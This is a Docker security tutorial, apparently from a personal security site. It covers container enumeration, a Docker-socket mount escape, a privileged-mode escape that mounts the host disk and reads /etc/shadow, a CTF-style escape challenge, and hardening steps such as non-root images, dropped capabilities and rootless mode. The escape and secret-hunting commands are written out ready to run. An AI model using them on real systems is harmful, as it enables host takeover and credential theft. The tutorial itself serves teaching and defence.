← Back to home
Docker Contenedores Hardening Misconfigurations DevSecOps
Intermediate

Docker: Security & Container Hardening

Aug 20, 2024

Docker is ubiquitous in modern infrastructure, but a misconfigured container can expose the host or entire internal network. Containers are not full virtual machines; they share the same kernel as the underlying host. This project covers the most common attacks and deep hardening measures.

1. Isolation Architecture: Namespaces & Cgroups

2. Compromised Container Enumeration

# Check if we're inside a container:
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv
env | grep -iE "pass|secret|token|key" # Check for hardcoded secrets

# Check Capabilities:
cat /proc/self/status | grep CapEff

3. The Critical Attack: Docker Socket Mount Escape

The Docker socket (/var/run/docker.sock) allows communication with the Docker daemon. If mounted inside a container, it grants full root access to the host.

# 1. Check if socket is mounted:
ls -la /var/run/docker.sock

# 2. Exploit: Create a new container that mounts the host root (/) into /mnt:
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh

# 3. Read host files:
cat /etc/shadow

πŸ”΄ Container Escape Simulator

You have compromised a web app and obtained an interactive shell inside its Docker container. After investigating, you discover the admin recklessly mounted /var/run/docker.sock. Prove your skills by writing the exact command to escape to the host.

>_ START CTF 16 CHALLENGE

4. Privileged Mode Escape

# 1. Detect hardware disks:
fdisk -l

# 2. Mount host disk:
mkdir /mnt/host
mount /dev/sda1 /mnt/host
cat /mnt/host/etc/shadow

5. Dockerfile Hardening

# GOOD: minimal image + non-root user
FROM python:3.12-alpine
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
WORKDIR /app
COPY --chown=appuser:appgroup requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
USER appuser
CMD ["python", "app.py"]

6. Runtime Security & Seccomp

docker run \
  --read-only \
  --no-new-privileges \
  --cap-drop ALL \
  --memory 512m \
  my-secure-image:latest

7. Image Scanning & Rootless Mode

Always scan your images for CVEs using tools like Trivy. Furthermore, implementing Rootless Docker runs the daemon as a non-root user, mitigating the impact of any escape vulnerabilities.